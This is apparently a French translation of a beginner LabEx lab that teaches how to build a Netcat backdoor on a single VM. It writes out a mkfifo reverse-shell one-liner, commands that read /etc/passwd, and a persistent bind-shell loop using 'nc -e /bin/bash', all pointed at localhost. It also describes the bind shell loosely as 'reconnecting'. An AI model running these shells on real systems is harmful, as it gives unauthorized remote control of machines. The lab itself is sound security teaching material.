Créer une porte dérobée avec Netcat

Beginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce labo (atelier pratique), vous apprendrez à créer une porte dérobée (backdoor) de base en utilisant Netcat, un outil réseau polyvalent, pour établir des connexions à distance entre des systèmes. Vous allez pratiquer la configuration d'écouteurs (listeners), l'initiation de connexions et l'exécution de commandes à distance grâce à des exercices pratiques.

Ce labo démontre les techniques fondamentales de communication réseau utilisées en cybersécurité, offrant des perspectives à la fois sur les capacités offensives et les considérations défensives. Vous aurez l'expérience pratique de la fonctionnalité de Netcat tout en comprenant comment de simples outils peuvent être utilisés pour créer des portes dérobées.


Skills Graph

Installer Netcat

Dans cette étape, vous allez installer Netcat (souvent abrégé en 'nc'), un outil réseau de base qui vous permet de lire et d'écrire sur des connexions réseau. Imaginez Netcat comme un canif suisse pour la résolution de problèmes réseau et le transfert de données - ce sera notre outil principal pour établir des connexions entre des ordinateurs dans ce labo.

Avant d'installer quoi que ce soit, il est recommandé de vérifier si le logiciel est déjà disponible. De nombreux systèmes Linux sont livrés avec Netcat préinstallé. Vérifions cela dans notre environnement de machine virtuelle (VM) LabEx en exécutant la commande suivante :

nc -h

Cette commande demande à Netcat d'afficher son information d'aide. Si vous voyez apparaître une liste d'options de commande, félicitations - Netcat est déjà installé sur votre système ! Si au contraire vous obtenez une erreur "commande non trouvée", ne vous inquiétez pas - nous allons vous guider étape par étape dans le processus d'installation.

Le processus d'installation consiste en trois commandes simples. Tout d'abord, nous devons mettre à jour notre liste de paquets pour nous assurer d'obtenir la version la plus récente de Netcat :

sudo apt update

Le préfixe 'sudo' nous donne les privilèges d'administrateur, tandis que 'apt update' met à jour notre liste de paquets logiciels disponibles. Une fois cette opération terminée, nous pouvons procéder à l'installation proprement dite :

sudo apt install -y netcat

Le paramètre '-y' confirme automatiquement que nous souhaitons procéder à l'installation. Une fois cette étape terminée, nous devons vérifier que Netcat a été installé correctement en vérifiant son information de version :

nc -h

Vous devriez maintenant voir un affichage détaillé montrant les options de commande et la syntaxe de Netcat, similaire à cet exemple :

[v1.10-46]
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]

Cet affichage confirme que Netcat est correctement installé et prêt à être utilisé dans les étapes suivantes de notre labo. Les diverses options affichées deviendront plus familières au fur et à mesure que nous effectuerons les exercices.

Démarrer un écouteur (listener) sur la machine attaquante

Dans cette étape, vous allez configurer votre machine attaquante (la machine virtuelle LabEx) pour qu'elle attende les connexions entrantes en utilisant Netcat. Imaginez cela comme la configuration d'un téléphone qui attend les appels - l'écouteur restera prêt à recevoir les connexions des autres machines. C'est la base pour établir un contrôle à distance dans les étapes suivantes.

  1. Tout d'abord, naviguons jusqu'au bon répertoire de travail. Cela garantit que tous nos fichiers restent organisés en un seul endroit :
cd ~/project
  1. Maintenant, nous allons démarrer l'écouteur Netcat. Nous utilisons le port 4444 (vous pouvez choisir n'importe quel port disponible entre 1024 et 65535). Les ports sont comme des numéros de porte - ils aident à identifier où les connexions doivent aller :
nc -lvnp 4444

Décortiquons ce que chaque option fait :

  • -l : Met Netcat en mode écoute (comme répondre à un téléphone)
  • -v : Affiche des informations détaillées sur la connexion (utile pour la résolution de problèmes)
  • -n : Évite les recherches DNS (accélère les connexions)
  • -p : Spécifie le numéro de port à utiliser
  1. En cas de succès, vous verrez une confirmation que l'écouteur est actif :
Listening on 0.0.0.0 4444

Votre terminal semble figé - c'est un comportement normal car Netcat attend activement qu'une personne se connecte. Ne fermez pas cette fenêtre de terminal ; nous en aurons besoin bientôt lorsque nous établirons une connexion depuis une autre machine.

Note importante : Dans les tests de sécurité réels ou dans les scénarios du monde réel, les professionnels exécutent souvent les écouteurs en arrière - plan ou utilisent des outils comme tmux pour gérer plusieurs sessions. Pour cet exercice d'apprentissage, nous gardons les choses simples en exécutant en avant - plan afin que vous puissiez clairement voir comment le processus de connexion fonctionne.

Se connecter depuis la machine victime

Dans cette étape, vous allez simuler la connexion à l'écouteur Netcat depuis une machine victime. Étant donné que nous travaillons au sein d'une seule machine virtuelle LabEx, nous allons utiliser la même machine pour simuler à la fois les rôles d'attaquant et de victime en ouvrant une deuxième connexion de terminal. C'est une pratique courante dans les tests de sécurité où une seule machine joue les deux rôles de la connexion à des fins de démonstration.

  1. Tout d'abord, assurez-vous que votre écouteur Netcat est toujours en cours d'exécution dans le premier terminal (de l'Étape 2). L'écouteur doit être actif pour accepter les connexions entrantes. Sinon, redémarrez-le avec la même commande :
nc -lvnp 4444
  1. Ouvrez un nouvel onglet/fenêtre de terminal (cliquez droit dans le terminal et sélectionnez "Nouvel onglet" ou utilisez le raccourci Ctrl+Shift+T). Ce deuxième terminal représentera la machine victime dans notre simulation.

  2. Dans le nouveau terminal, connectez-vous à l'écouteur en utilisant l'adresse localhost (puisque nous utilisons la même machine). L'adresse IP 127.0.0.1 fait toujours référence à la machine locale :

nc -nv 127.0.0.1 4444

Explication des options utilisées dans la commande de connexion :

  • -n : Indique à Netcat de ne pas résoudre les noms d'hôtes, ce qui accélère la connexion
  • -v : Fournit une sortie détaillée afin que vous puissiez voir les détails de la connexion
  1. Vous devriez voir des messages de connexion dans les deux terminaux confirmant la réussite de la liaison :
  • Dans le terminal de l'écouteur (affichant la connexion entrante) :
Connection received on 127.0.0.1 12345
  • Dans le terminal de la victime (confirmant la connexion à l'écouteur) :
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
  1. Maintenant, vous pouvez tester la communication de base entre les deux terminaux :
  • Tapez un message simple dans le terminal de la victime et appuyez sur Entrée
  • Le message devrait apparaître immédiatement dans le terminal de l'écouteur
  • Essayez d'envoyer un message de l'écouteur à la victime pour vérifier la communication bidirectionnelle
  1. Pour quitter l'une ou l'autre des connexions une fois terminé :
  • Appuyez sur Ctrl+C pour terminer immédiatement la connexion
  • Ou tapez exit et appuyez sur Entrée pour une déconnexion plus propre

Envoyer des commandes à distance

Dans cette étape, vous allez apprendre à exécuter des commandes à distance via la connexion Netcat établie. Cela démontre une technique fondamentale dans les tests de pénétration où un attaquant prend le contrôle d'un système compromis. Comprendre ce processus aide les professionnels de la sécurité à se défendre contre de telles attaques.

  1. Tout d'abord, assurez-vous d'avoir les deux terminaux ouverts depuis les étapes précédentes :
  • Terminal 1 : Écouteur Netcat (nc -lvnp 4444) - C'est votre machine attaquante en attente de connexions
  • Terminal 2 : Connexion de la victime (nc -nv 127.0.0.1 4444) - Cela simule une machine compromis qui se reconnecte à vous
  1. Dans le Terminal 1 (écouteur), envoyez une commande de base pour tester la connexion :
whoami
  1. La commande s'exécute sur la machine victime (Terminal 2), mais vous ne verrez pas le résultat pour l'instant car nous n'avons pas configuré la redirection de sortie appropriée. C'est un défi initial courant lorsque l'on travaille avec des connexions Netcat de base.

  2. Dans le Terminal 2, établissez une connexion plus avancée qui crée un shell de commande approprié avec redirection de sortie :

rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -nv 127.0.0.1 4444 > /tmp/f

Cela crée un tube nommé (/tmp/f) et configure un shell interactif complet qui envoie à la fois la sortie standard et les messages d'erreur de retour à l'attaquant.

  1. Maintenant, dans le Terminal 1 (écouteur), vous pouvez exécuter des commandes et voir leur sortie correctement :
ls -la
pwd
uname -a
  1. Essayez quelques commandes de base d'exploration du système pour comprendre l'environnement de la machine victime :
id
cat /etc/passwd | head -5
ps aux | head -5

Ces commandes affichent respectivement les informations utilisateur, les comptes système et les processus en cours d'exécution.

  1. Pour créer une porte dérobée persistante qui se reconnecte automatiquement, vous pouvez créer un script simple dans ~/project :
echo 'while true; do nc -lvnp 4444 -e /bin/bash; done' > ~/project/backdoor.sh
chmod +x ~/project/backdoor.sh

Ce script essaie continuellement d'établir une connexion et de fournir un accès au shell chaque fois qu'il est exécuté.

  1. N'oubliez pas de terminer toutes les connexions une fois terminé en appuyant sur Ctrl+C dans les deux terminaux. Cela est important pour libérer les ressources et terminer correctement le laboratoire.

Tester la fonctionnalité de la porte dérobée

Dans cette étape finale, nous allons vérifier si notre script de porte dérobée fonctionne comme prévu. Ce processus montre comment un attaquant pourrait maintenir un accès à long terme à un système qu'il a compromis. Nous allons tester à la fois la fonctionnalité immédiate et la persistance (la capacité de se reconnecter plus tard).

Avant de commencer, comprenons ce que chaque commande fera. Le script de porte dérobée crée un port d'écoute qui attend les connexions entrantes. Lorsqu'une connexion est établie, il donne à l'attaquant la capacité d'exécuter des commandes à distance sur la machine victime.

  1. Tout d'abord, vérifions que notre script de porte dérobée existe à l'emplacement correct. Cela vérifie si nous avons correctement créé le fichier dans les étapes précédentes :
ls -la ~/project/backdoor.sh
  1. Maintenant, nous allons exécuter le script de porte dérobée en arrière - plan. Le symbole & le fait exécuter en tant que processus d'arrière - plan afin que nous puissions continuer à utiliser ce terminal :
cd ~/project
./backdoor.sh &
  1. Vérifions que le script est réellement en cours d'exécution. Cette commande affiche tous les processus en cours d'exécution et filtre pour notre porte dérobée :
ps aux | grep backdoor.sh
  1. Ouvrez une nouvelle fenêtre de terminal (Terminal 2). Ici, nous allons simuler un attaquant se connectant à la porte dérobée. Les options -nv rendent netcat plus verbeux afin que nous puissions voir les détails de la connexion :
nc -nv 127.0.0.1 4444
  1. Maintenant, testons si les commandes fonctionnent via la porte dérobée. Nous allons créer un fichier de test puis le lire pour confirmer que nous avons un accès approprié :
echo "Backdoor test successful" > ~/project/test.txt
cat ~/project/test.txt
  1. Vérifions les informations de base du système pour confirmer que nous avons une exécution complète de commandes. Ces commandes affichent notre utilisateur actuel et le nom du système :
whoami
hostname
  1. Pour tester la persistance, déconnectez - vous avec Ctrl+C, attendez 30 secondes, puis reconnectez - vous. Cela simule un attaquant revenant plus tard :
nc -nv 127.0.0.1 4444
  1. Vérifiez que la porte dérobée a maintenu l'accès en vérifiant si notre fichier de test existe toujours :
cat ~/project/test.txt
  1. Enfin, nettoyez tous les artefacts de test. Cela arrête le processus de la porte dérobée et supprime nos fichiers de test :
pkill -f backdoor.sh
rm ~/project/test.txt ~/project/backdoor.sh

Résumé

Dans ce laboratoire, vous avez appris à créer une connexion de porte dérobée en utilisant Netcat, un outil réseau polyvalent. L'exercice a couvert l'installation de Netcat sur Linux, la configuration d'un écouteur avec des options spécifiques (-lvnp), et l'établissement d'un canal de communication clandestin entre les machines.

Grâce à cette expérience pratique, vous avez acquis des connaissances pratiques sur les capacités de Netcat pour créer des portes dérobées d'accès à distance. Le laboratoire a également mis en évidence des considérations de sécurité importantes lors de l'utilisation d'utilitaires réseau qui peuvent être exploités pour un accès non autorisé.